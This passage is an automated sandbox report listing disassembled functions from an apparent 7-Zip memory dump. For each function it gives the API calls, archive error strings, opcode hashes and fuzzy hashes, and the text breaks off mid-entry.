Opcode ID: 5f6c79e67240f10e506dcd010c05e3fcb41f145b375b3b6d5ae371637dca3dc7
Instruction ID: f284f506933aca9c474fbc658c321692f25e5c017d41da601aaaf9df90df1b5c
Opcode Fuzzy Hash: 5f6c79e67240f10e506dcd010c05e3fcb41f145b375b3b6d5ae371637dca3dc7
Instruction Fuzzy Hash: F4D0A7D5700B4881DE119B26D8002A92321B74CBC4F044021DE9D0B314DA2CC2448B00

Function 0031794C Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE ref: 0031795E

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 722c96f04a6826338d67a42852ca525e19c432cc1267ed16e2c090f8721fb2dc
Instruction ID: c6ec3d67ce9a1ed11b33daaeaab56dd512b53f9e8ff1171628133442b6109fce
Opcode Fuzzy Hash: 722c96f04a6826338d67a42852ca525e19c432cc1267ed16e2c090f8721fb2dc
Instruction Fuzzy Hash: 45D0A7B560990081DB361F79C8403A413629B58F70F1C0310C9B0493E0DF2484C68700

Function 00318BB0 Relevance: 1.5, APIs: 1, Instructions: 8timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE ref: 00318BB7

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: 27dcbfd971054ac7552dc6a0aec683e37694d7ffe7d38722d02be5010972bc1d
Instruction ID: a33801612369a20c78db7f41b8cfa994c9e81d73cc2815677816fb37b5e20e29
Opcode Fuzzy Hash: 27dcbfd971054ac7552dc6a0aec683e37694d7ffe7d38722d02be5010972bc1d
Instruction Fuzzy Hash: 43B09220B12800C6CB0C6722DC9231D13646788B26FE14429C60BD5660CD1C86E94700

Function 0033373C Relevance: 1.3, APIs: 1, Instructions: 86COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 003337FB

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: deeb8322bb3e31c61ea61dbc074885bb59698c861cc3d3bf43e6ee2464223888
Instruction ID: 1d98a366fdd2df2122ddd471c9b8d0ca5abd92ee42412ed9fe5c3632ed02e5b0
Opcode Fuzzy Hash: deeb8322bb3e31c61ea61dbc074885bb59698c861cc3d3bf43e6ee2464223888
Instruction Fuzzy Hash: D5213A7370425097C726DB1AF88056B7798F745BB4F24A234FE6A8B784EB38C946C740

Function 00339078 Relevance: 1.3, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

memmove.MSVCRT(?,?,?,?,?,00339B61), ref: 0033911C

Part of subcall function 00312130: malloc.MSVCRT ref: 00312134
Part of subcall function 00312130: _CxxThrowException.MSVCRT ref: 0031214F

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: ExceptionThrowmallocmemmove
String ID:
API String ID: 2847158419-0
Opcode ID: 82b4f0498024add381b52464ee5401255b55fdf908ae796dc16d5b0bf27a9309
Instruction ID: 591d757a25ffe8c4d33ae22e7a6d1d245339bdd61e142ce07286f6b2c73eb24c
Opcode Fuzzy Hash: 82b4f0498024add381b52464ee5401255b55fdf908ae796dc16d5b0bf27a9309
Instruction Fuzzy Hash: FD21A237201B4095D716DF1AE85472BB3A0F788FA8F198225DF980B394DF78C892C740

Function 0031C90C Relevance: 1.3, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0031C995

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: eb002aa5dddfab1f6f72238e3db67cd756069b3d051d820f05e845315efd0b1d
Instruction ID: 71727df123e683428ebef91f38e6d0c8c3c49926eb5fb7fdcada6068df00e8d6
Opcode Fuzzy Hash: eb002aa5dddfab1f6f72238e3db67cd756069b3d051d820f05e845315efd0b1d
Instruction Fuzzy Hash: F1113A627F566087CB3B8B6CE4507E87250F70C781B65B036DACA8BA10DB6ACCC2D201

Function 00343EE0 Relevance: 1.3, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 0033419C: free.MSVCRT ref: 003341B9
Part of subcall function 0033419C: free.MSVCRT ref: 003341C5
Part of subcall function 0033419C: free.MSVCRT ref: 003341D1
Part of subcall function 0033419C: free.MSVCRT ref: 003341DD
Part of subcall function 0033419C: free.MSVCRT ref: 003341E6
Part of subcall function 0033419C: free.MSVCRT ref: 003341EF
Part of subcall function 0033419C: free.MSVCRT ref: 003341F8

free.MSVCRT ref: 00343F45

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 9f8a1d2c49b0bee4d130ff5c6d2e38f6001c7bac36fe86653caaa0f784b82661
Instruction ID: 56b40977abc8f821c86ba0b0e58b201d9a7df1ea66639a0f49b4cc84747f146d
Opcode Fuzzy Hash: 9f8a1d2c49b0bee4d130ff5c6d2e38f6001c7bac36fe86653caaa0f784b82661
Instruction Fuzzy Hash: 48014073A24790CAC7229F1DC18115DBB64F759FE83695116DB490B760E732C887C791

Function 00318624 Relevance: 1.3, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 003186A9

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0cb8849b5f1b8dcf8495defb4a02ef2f2e9066f911d13bd2e7f25b7badd2a547
Instruction ID: e39a5b7f16830d94748ab1ac541c01ad995986d9501a934ac31fdd229b3fbc5d
Opcode Fuzzy Hash: 0cb8849b5f1b8dcf8495defb4a02ef2f2e9066f911d13bd2e7f25b7badd2a547
Instruction Fuzzy Hash: C7016D763162408AE711CF14C56C39E3BB0B7D9B68F180208DBA44F3D1C7BAC58ACBA4

Function 0031CB78 Relevance: 1.3, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0031CBA8

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 72e9e68ca430013701742a141a95d2249b3bc08b53a58632590991780ceaea4c
Instruction ID: fba063632e13c504e9ded0b1660ea6a9a8c62fd5011541e9529bf01ff5c08589
Opcode Fuzzy Hash: 72e9e68ca430013701742a141a95d2249b3bc08b53a58632590991780ceaea4c
Instruction Fuzzy Hash: 2DF0235236454847CB06DF7999C13A86161FB4C795F907435DF46C7701D938CCD9C715

Function 0031CB34 Relevance: 1.3, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 003189D8: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 003189EA

GetLastError.KERNEL32 ref: 0031CB49

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: a07007c1e2871dab96c79eb06679e0159d305b21fb5ff06fcf71a401af31ebbf
Instruction ID: 92135ba62472863a763479ace55f93ace3dbfc4b5d2d4ec31fa500813eb624ef
Opcode Fuzzy Hash: a07007c1e2871dab96c79eb06679e0159d305b21fb5ff06fcf71a401af31ebbf
Instruction Fuzzy Hash: C6D02B407B409086DF165BB94CC13B40081A71C702F906435DD5BCA213E8188DC9A22A

Function 00313314 Relevance: 1.3, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00313339

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: ead37c245d68de3b924b300fd151c9469a6fa14fdf63e67ea49c121c3f4112c9
Instruction ID: 00923aa94b7407427c229d5f71d96acebaaa016f7a4e7538b2cd9fc9f749f39b
Opcode Fuzzy Hash: ead37c245d68de3b924b300fd151c9469a6fa14fdf63e67ea49c121c3f4112c9
Instruction Fuzzy Hash: 60D05EA67406C886CA159B27D69151DA3219B8CFD5708D0249F080F70ACE20C8E68740

Function 003189D8 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 003189EA

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 7026176aaa05c1561b6c1c0339a02e34eafe156cfb338b490f72a4c876cde8b9
Instruction ID: b2b9d05f2ec1a06d272dfd7c0fce8c9d8605671c9d9cb05eb85d8f88c02ebb75
Opcode Fuzzy Hash: 7026176aaa05c1561b6c1c0339a02e34eafe156cfb338b490f72a4c876cde8b9
Instruction Fuzzy Hash: 3ED0A772601D4481DB2A1F7EC8403741354A718B74F184310CAB04A2D0DF248AC68305

Function 0031CDF4 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0031CE0D

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 05270de921355061923bde3ca11a4f499c626c5521d971614da1d539e5086f1e
Instruction ID: b9e15248a2dc34e8dbddbdb71d2317bfc70468249453d337d7dc8667e0a4a65b
Opcode Fuzzy Hash: 05270de921355061923bde3ca11a4f499c626c5521d971614da1d539e5086f1e
Instruction Fuzzy Hash: 76C08C417D22480AC90F622B2F863AC42020F8FBD2F4C60309E480FB92DA9488F28710

Non-executed Functions

Function 0031F1B4 Relevance: 79.1, APIs: 39, Strings: 6, Instructions: 318COMMON

Download Yara Rule

APIs

Part of subcall function 00313314: memmove.MSVCRT ref: 00313339

free.MSVCRT ref: 0031F201
free.MSVCRT ref: 0031F23D

Strings

Incorrect Map command, xrefs: 0031F206, 0031F242
Map data error, xrefs: 0031F58D
Can not open mapping, xrefs: 0031F33E
Unsupported Map data, xrefs: 0031F464
MapViewOfFile error, xrefs: 0031F3C9
Unsupported Map data size, xrefs: 0031F665

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$memmove
String ID: Can not open mapping$Incorrect Map command$Map data error$MapViewOfFile error$Unsupported Map data$Unsupported Map data size
API String ID: 1534225298-798110030
Opcode ID: 514f4a55c9b7f830d527a1e71fc81ac4b18dd3f2c8c4aaf2250e63e43436fdca
Instruction ID: 72a475fce7c000beb191bf2de3a3d4f6335f212c604ef2a8e63af670cd6a69f8
Opcode Fuzzy Hash: 514f4a55c9b7f830d527a1e71fc81ac4b18dd3f2c8c4aaf2250e63e43436fdca
Instruction Fuzzy Hash: 09C16F72218A409ACB1AEF11E88079FB765F7CAB91F541531EA8A47B78DF38C586C740

Function 0031B114 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 188timeCOMMON

Download Yara Rule

APIs

FileTimeToLocalFileTime.KERNEL32 ref: 0031B12A
FileTimeToSystemTime.KERNEL32 ref: 0031B13E

Strings

gfff, xrefs: 0031B1D7

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: Time$File$LocalSystem
String ID: gfff
API String ID: 1748579591-1553575800
Opcode ID: e09e1fa2f5dca829b3cb60a828e392fca3363189765d43a1e7a71e091b5d5d10
Instruction ID: 0c23cf5a598f636b7584c852a21d948fd8e3bfe122c7e8df08dbf98a112cdcf3
Opcode Fuzzy Hash: e09e1fa2f5dca829b3cb60a828e392fca3363189765d43a1e7a71e091b5d5d10
Instruction Fuzzy Hash: EB519897B042C04BD71A8B3DD846BCDBFC1E3A9758F48822ADB9587785E26DC50AC721

Function 0031A224 Relevance: 37.8, APIs: 22, Strings: 3, Instructions: 317COMMON

Download Yara Rule

Strings

\, xrefs: 0031A363
\\?\UNC\, xrefs: 0031A527, 0031A66C
\\?\, xrefs: 0031A3ED, 0031A4CF

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID:
String ID: \$\\?\$\\?\UNC\
API String ID: 0-1962706685
Opcode ID: afa8621be2f1ba154e1a16fbf024995038344baa93033ba3e81e106e98a5c824
Instruction ID: 2e7e017bc259c139a7ce3ab6b89e9a4e06638a5530a5c4163d24732960e918e5
Opcode Fuzzy Hash: afa8621be2f1ba154e1a16fbf024995038344baa93033ba3e81e106e98a5c824
Instruction Fuzzy Hash: B7B1A22220A940A0CE1AFF21D4512EEA720EB9E7C5F455122EA4E4B779DF69C9C7C702

Function 003572C8 Relevance: 25.1, APIs: 20, Instructions: 81COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 003572DB
free.MSVCRT ref: 0035730D
free.MSVCRT ref: 00357315
free.MSVCRT ref: 0035731D
free.MSVCRT ref: 0035732D
free.MSVCRT ref: 00357339
free.MSVCRT ref: 00357345
free.MSVCRT ref: 00357351
free.MSVCRT ref: 0035735D
free.MSVCRT ref: 00357369
free.MSVCRT ref: 00357375
free.MSVCRT ref: 00357381
free.MSVCRT ref: 0035738D
free.MSVCRT ref: 00357399
free.MSVCRT ref: 003573A2
free.MSVCRT ref: 003573AB
free.MSVCRT ref: 003573B4
free.MSVCRT ref: 003573E9
free.MSVCRT ref: 003573F1
free.MSVCRT ref: 003573F9

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 604b93e9740048c82800e9d74cf7720333369c55d8207d772f7bb48edf82253e
Instruction ID: ea060c93fc851d045bca753d64f33984911a44e45198a66b0e8b34279351767d
Opcode Fuzzy Hash: 604b93e9740048c82800e9d74cf7720333369c55d8207d772f7bb48edf82253e
Instruction Fuzzy Hash: A031EC2261194099CB16FF36DC516EE7320EBCBF95F1902719F2D5F769CE20C8968354

Function 00327178 Relevance: 19.0, APIs: 15, Instructions: 200COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 003271FD

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f4d9c5df7f8b7d7a50d10b176def1ac906b2dbe33b2ad29e85ea175187436e74
Instruction ID: 905e11ebf695e1c8e2d4bc31c15e7c806944b66eb0bac5d607043cee5bd66842
Opcode Fuzzy Hash: f4d9c5df7f8b7d7a50d10b176def1ac906b2dbe33b2ad29e85ea175187436e74
Instruction Fuzzy Hash: 3A716132208A4091DB16EF26F8503AE7765FB89BD4F444232EF5E8B765DF28C596C340

Function 00353148 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 52COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00353184
fputs.MSVCRT ref: 00353194
fputs.MSVCRT ref: 003531E1
fputs.MSVCRT ref: 003531F1

Strings

WARNINGS:, xrefs: 003531BE
= , xrefs: 0035318D, 003531EA
WARNING, xrefs: 003531DA
ERROR, xrefs: 0035317D
ERRORS:, xrefs: 00353164

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: fputs
String ID: = $ERROR$ERRORS:$WARNING$WARNINGS:
API String ID: 1795875747-2836439314
Opcode ID: bfaef9fa8df0d205eec04fe16e9a27ef95300a9a3da73fd13572728b12155a0b
Instruction ID: 7faf49293e460f0314a977b2ccd7afb950a21b9bf2e6ebc854c17bdd3cfce884
Opcode Fuzzy Hash: bfaef9fa8df0d205eec04fe16e9a27ef95300a9a3da73fd13572728b12155a0b
Instruction Fuzzy Hash: 30117CA6210950A6FB279F26EA44B586724B709BC6F44C022DF4907A74DF39CBADC300

Function 003530CC Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 32COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 003530E7
fputs.MSVCRT ref: 00353104
fputs.MSVCRT ref: 00353114

Part of subcall function 00312320: free.MSVCRT ref: 0031237E
Part of subcall function 00312320: fputs.MSVCRT ref: 003123B8
Part of subcall function 00312320: free.MSVCRT ref: 003123C4

fputs.MSVCRT ref: 00353132

Strings

: Can not open the file as [, xrefs: 0035310D
] archive, xrefs: 00353125
WARNING, xrefs: 003530F0
Open , xrefs: 003530DD
ERROR, xrefs: 003530F7

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: fputs$free
String ID: : Can not open the file as [$ERROR$Open $WARNING$] archive
API String ID: 3873070119-2741933734
Opcode ID: f32defa99fa0ddd8f5ee8d7903e4695ca461ad93e2af0abed86e02622ffafdb7
Instruction ID: 36e40f7d76e8f8df918bf8086b23ccfda974b5d1dabaffaa5909164ac8b7cff1
Opcode Fuzzy Hash: f32defa99fa0ddd8f5ee8d7903e4695ca461ad93e2af0abed86e02622ffafdb7
Instruction Fuzzy Hash: 61F037AA700E05A5EE129F66E9943996339BB59FC5F849022EE6E033609E2DC649C300

Function 0031F0C8 Relevance: 11.3, APIs: 9, Instructions: 44COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0031F0FA
free.MSVCRT ref: 0031F103
free.MSVCRT ref: 0031F10C
free.MSVCRT ref: 0031F115
free.MSVCRT ref: 0031F11E
free.MSVCRT ref: 0031F127
free.MSVCRT ref: 0031F130
free.MSVCRT ref: 0031F139
free.MSVCRT ref: 0031F141

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 69bfdf775510731243c3de3a419cefae75036ebb294f2fdce68b442dc703e0d6
Instruction ID: b5be162cfc454a03b8313a9c6beb4d3de7ab333f09da6caf284582d87d5a08b9
Opcode Fuzzy Hash: 69bfdf775510731243c3de3a419cefae75036ebb294f2fdce68b442dc703e0d6
Instruction Fuzzy Hash: 8A011E63611980AECB1AEE36DC911E92720AB8AB98B194271BF1D4F755DE60C8E28344

Function 003512B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 003512DC
fputs.MSVCRT ref: 0035137C
fputs.MSVCRT ref: 0035139C
free.MSVCRT ref: 003513D3
LeaveCriticalSection.KERNEL32 ref: 003513EB

Strings

: , xrefs: 00351395

Memory Dump Source

